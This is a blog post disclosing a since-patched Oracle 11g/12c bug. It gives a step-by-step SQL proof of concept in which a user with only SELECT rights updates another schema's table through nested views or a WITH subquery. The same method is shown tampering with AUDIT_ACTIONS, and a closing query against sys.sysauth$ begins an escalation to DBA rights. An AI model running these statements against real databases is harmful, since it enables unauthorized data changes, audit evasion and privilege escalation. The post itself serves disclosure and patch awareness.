Learn from the mistakes of others – you can never live long enough to make them all yourself…

Major Data Exploit Patched by January 2014’s CPU

Today, an Oracle security blog revealed a “monster bug” (actually, TWO of them) which allows a user to UPDATE data in a table in another schema that they only have the SELECT privilege to.

In case you’re wondering, the author did inform Oracle a year ago – and has sat on it since, so a huge amount of kudos to them! This is gratuitously stolen from that blog.

The user has to create a “simple” view based on the table and then a non-“simple” (such as an aggregated) view based on the first view to override the table’s object privileges.

By exploiting this bug, the user may be able to cover their tracks and to obtain DBA access.

This is known to exist in all “current” versions of the database (11g and 12c, not clear if it includes 9i or 10g). The bug has been fixed with the January 2014 (and onwards) CPU for 11g and 12c, but there is no fix for earlier versions (yet, if ever).

A working example can be seen after the break – DO NOT RUN THIS IN PRODUCTION!!!

Grant SELECT *ONLY* on the MARKTAB1 table to the LUKEUSER user:GRANT select ON markuser.marktab1 TO lukeuser;

As the LUKEUSER user, create a view based on the MARKTAB1 table. The CREATE VIEW statement will succeed because of the CREATE VIEW system privilege:CREATE VIEW lukeuser.marktab1_vw1 AS
SELECT *
FROM markuser.marktab1;

As the LUKEUSER user, try and update the view. This will fail as expected as LUKEUSER does not have the UPDATE object privilege on the underlying table:UPDATE lukeuser.marktab1_vw1
SET mark_id = ‘FAIL1’;

As the LUKEUSER user, create a second, aggregated view based on the first:CREATE VIEW lukeuser.marktab1_vw2 AS
SELECT MAX(mark_id)
FROM lukeuser.marktab1_vw1
GROUP BY mark_id;

As the LUKEUSER user, update the MARKTAB1_VW2 view. This will update the MARKUSER.MARKTAB1 table if it works:UPDATE marktab1_vw2
SET mark_id = ‘FAIL2’;

Uh-oh. This worked! This query will return ‘FAIL2’:SELECT *
FROM markuser.marktab1;

This indicates that if you create a basic view on a table and then an aggregate view on THAT view, you can override object privileges on the underlying table.

Not only that – we don’t even need an aggregated second view! This can’t be exposed by a second “basic”/”simple” view – it needs some elaboration to manifest itself.

For instance, we can also do it by hardcoding a value from the first row in the table:CREATE VIEW marktab1_vw3 AS
SELECT *
FROM marktab1_vw1
WHERE 1 IN (
SELECT 1
FROM marktab1_vw1
WHERE ROWNUM = 1
);
UPDATE marktab1_vw3
SET mark_id = ‘FAIL3’;

This worked too! This query will return ‘FAIL3’:SELECT * FROM markuser.marktab1;

And if the user DOESN’T have the CREATE VIEW system privilege?UPDATE
(WITH x AS
(SELECT * FROM markuser.marktab1)
SELECT * FROM x)
tab1
SET mark_id = ‘FAIL4’;

Whoops. This query will return ‘FAIL4’:SELECT *
FROM markuser.marktab1;

Not only can you update user tables, but what about the data dictionary? Yep, that too. As JOHNUSER:UPDATE
(WITH x AS
(SELECT * FROM audit_actions)
SELECT * FROM x)
tab1
SET name = ‘FAIL5’;

This query will return ‘FAIL5’, indicating that someone with malicious intent could cover their tracks by altering their own AUDIT_ACTIONS entries:SELECT name
FROM audit_actions;

Let’s say we want to cause absolute carnage…

Obviously, DO NOT RUN THIS IN PRODUCTION!!!

As the JOHNUSER, who has the SELECT ANY DICTIONARY system privilege, get the grantee#/user_id of the MARKDBA power user using the ALL_USERS view:SELECT *
FROM sys.sysauth$
WHERE grantee# = (
SELECT user_id
FROM all_users
WHERE username = ‘MARKDBA’)
AND rownum = 1;